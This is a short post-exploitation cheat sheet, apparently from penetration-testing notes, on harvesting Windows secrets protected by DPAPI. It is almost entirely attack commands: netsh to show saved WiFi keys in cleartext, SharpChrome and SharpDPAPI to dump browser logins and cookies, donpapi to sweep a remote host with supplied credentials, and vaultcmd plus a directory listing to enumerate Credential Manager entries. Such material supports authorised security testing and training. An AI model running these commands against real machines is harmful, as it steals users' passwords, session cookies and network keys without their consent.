What it is
Windows encrypts saved secrets (browser passwords, RDP, WiFi, Credential Manager) with DPAPI. As the user, or with their masterkey or SYSTEM, you can decrypt them. This turns a plain user shell into a pile of reusable, often-reused credentials.
Saved WiFi keys
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear
Browser logins / cookies and DPAPI triage (Windows)
.\SharpChrome.exe logins
.\SharpDPAPI.exe triage
From Kali, sweep DPAPI secrets across the host
donpapi -u <USER> -p <PASS> -d <DOMAIN> <TARGET-IP>
Credential Manager
vaultcmd /listcreds:"Windows Credentials" /all
dir C:\Users\<USER>\AppData\Local\Microsoft\Credentials\